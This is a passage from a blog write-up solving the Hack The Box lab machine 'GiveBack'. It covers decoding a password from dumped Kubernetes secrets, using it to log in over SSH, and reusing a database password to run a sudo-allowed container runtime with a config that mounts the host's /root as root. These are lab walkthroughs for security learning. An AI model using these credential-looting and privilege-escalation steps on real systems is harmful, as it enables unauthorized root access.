"f:status": {},
"f:version": {}
}
},
"f:type": {}
}
}
]
},
"data": {
"release": "<VERY LONG SNIP>"
},
"type": "helm.sh/release.v1"
},
{
"metadata": {
"name": "user-secret-babywyrm",
"namespace": "default",
"uid": "75bec579-fa8c-495b-ad03-76652c818dfa",
"resourceVersion": "2856320",
"creationTimestamp": "2025-11-04T20:55:37Z",
"ownerReferences": [
{
"apiVersion": "bitnami.com/v1alpha1",
"kind": "SealedSecret",
"name": "user-secret-babywyrm",
"uid": "7c167e3a-705b-42d0-92c8-b0c73e1f5c86",
"controller": true
}
],
"managedFields": [
{
"manager": "controller",
"operation": "Update",
"apiVersion": "v1",
"time": "2025-11-04T20:55:37Z",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:data": {
".": {},
"f:MASTERPASS": {}
},
"f:metadata": {
"f:ownerReferences": {
".": {},
"k:{\"uid\":\"7c167e3a-705b-42d0-92c8-b0c73e1f5c86\"}": {}
}
},
"f:type": {}
}
}
]
},
"data": {
"MASTERPASS": "N2xnandUYlVESG1wTWxTd1VZWU1RV24xNk1pWnJSNA=="
},
"type": "Opaque"
}
]
}

The secret user-secret-babywyrm contains a MASTERPASS. Decoding it:

1
2
$ echo N2xnandUYlVESG1wTWxTd1VZWU1RV24xNk1pWnJSNA== | base64 -d
7lgjwTbUDHmpMlSwUYYMQWn16MiZrR4

The secret name gives us the username babywyrm, and the MASTERPASS is the SSH password.

User Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ssh [email protected]
The authenticity of host '10.129.183.181 (10.129.183.181)' can't be established.
ED25519 key fingerprint is SHA256:QW0UEukNwOzzXzOIYR311JYiuhYUEv8FYbRgwiKZ35g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.183.181' (ED25519) to the list of known hosts.
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:


β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/CVE-2024-5932]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-124-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Wed Nov 5 04:39:18 2025 from 10.10.16.7
babywyrm@giveback:~$ cat user.txt
2aa07a85afd8b6da5f2323e32057de4b
babywyrm@giveback:~$

Privilege Escalation

Checking sudo privileges:

1
2
3
4
5
6
7
8
babywyrm@giveback:~$ sudo -l
Matching Defaults entries for babywyrm on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
timestamp_timeout=0, timestamp_timeout=20

User babywyrm may run the following commands on localhost:
(ALL) NOPASSWD: !ALL
(ALL) /opt/debug

(ALL) NOPASSWD: !ALL with (ALL) /opt/debug β€” we can run /opt/debug as root but it requires a password. Investigating the system, we find the seal-sync.service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
babywyrm@giveback:~$ cat /etc/systemd/system/seal-sync.service
[Unit]
Description=SRE Sync admin master password from Kubernetes (SEAL)
After=network-online.target k3s.service
Wants=network-online.target k3s.service

StartLimitIntervalSec=0

[Service]
Type=oneshot

# Wait for the Kubernetes API to respond
ExecStartPre=/bin/bash -c "for i in {1..30}; do \
kubectl get nodes &>/dev/null && exit 0 || { \
echo 'waiting for k3s API ('$i'/30)...'; \
sleep 5; \
}; \
done; \
echo 'k3s API never came up' >&2; \
exit 1"

# Wait for the sealed-secrets controller pod to be ready
ExecStartPre=/bin/bash -c "for i in {1..30}; do \
kubectl -n kube-system get pods -l name=sealed-secrets-controller 2>/dev/null | grep -q '1/1' && exit 0 || { \
echo 'waiting for sealed-secrets controller pod ('$i'/30)...'; \
sleep 5; \
}; \
done; \
echo 'sealed-secrets controller pod not ready' >&2; \
exit 1"

# Main script
ExecStart=/root/python/SEAL/boot.sh
Environment="KUBECONFIG=/etc/rancher/k3s/k3s.yaml"
WorkingDirectory=/root/python/SEAL
User=root
TimeoutStartSec=600

# Capture output to both the journal and /var/log/boot_script.log
StandardOutput=append:/var/log/boot_script.log
StandardError=append:/var/log/boot_script.log

[Install]
WantedBy=multi-user.target

The boot log at /var/log/boot_script.log confirms this service syncs sealed secrets from Kubernetes and sets the babywyrm system password. It also reveals boot.sh sets an administrative password. The MariaDB root password c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T from the K8s secrets dump doubles as the administrative password for /opt/debug.

/opt/debug is an OCI container runtime (runc-like). We craft a minimal OCI container spec that bind-mounts /root from the host and reads the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
babywyrm@giveback:~$ mkdir -p ~/pwn
babywyrm@giveback:~$ cd pwn/
babywyrm@giveback:~/pwn$ mkdir rootfs
babywyrm@giveback:~/pwn$ cat > config.json << 'EOF'
{
"ociVersion": "1.0.2",
"process": {
"user": {"uid": 0, "gid": 0},
"args": ["/bin/cat", "/root/root.txt"],
"cwd": "/",
"env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"],
"terminal": false
},
"root": {"path": "rootfs"},
"mounts": [
{"destination": "/proc", "type": "proc", "source": "proc"},
{"destination": "/dev", "type": "tmpfs", "source": "tmpfs", "options": ["nosuid","strictatime","mode=755","size=65536k"]},
{"destination": "/bin", "type": "bind", "source": "/bin", "options": ["bind","ro"]},
{"destination": "/lib", "type": "bind", "source": "/lib", "options": ["bind","ro"]},
{"destination": "/lib64", "type": "bind", "source": "/lib64", "options": ["bind","ro"]},
{"destination": "/root", "type": "bind", "source": "/root", "options": ["bind","ro"]},
{"destination": "/usr", "type": "bind", "source": "/usr", "options": ["bind","ro"]}
],
"linux": {
"namespaces": [
{"type": "pid"},
{"type": "network"},
{"type": "ipc"},
{"type": "uts"},
{"type": "mount"}
]
}
}
EOF
babywyrm@giveback:~/pwn$ sudo /opt/debug run pwn
Validating sudo...
Please enter the administrative password:

Both passwords verified. Executing the command...
84ed26973cc635eb25918fdd5d477419

Root Flag

1
84ed26973cc635eb25918fdd5d477419

That was it for GiveBack, hope you learned something new!

-0xkuje

  • Title: Hackthebox: Giveback
  • Author: Foued SAIDI
  • Created at : 2026-02-23 17:06:50
  • Updated at : 2026-02-23 19:11:38
  • Link: https://kujen5.github.io/2026/02/23/Hackthebox-Giveback/
  • License: This work is licensed under CC BY-NC-SA 4.0.